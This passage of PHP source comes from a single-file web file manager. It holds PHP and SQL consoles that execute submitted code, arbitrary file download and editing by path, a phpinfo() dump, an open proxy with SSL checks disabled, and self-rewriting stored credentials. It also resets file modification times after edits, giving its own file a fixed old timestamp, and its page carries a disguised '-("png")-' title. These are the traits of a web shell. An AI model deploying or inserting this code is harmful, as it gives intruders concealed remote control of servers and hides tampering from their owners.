		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
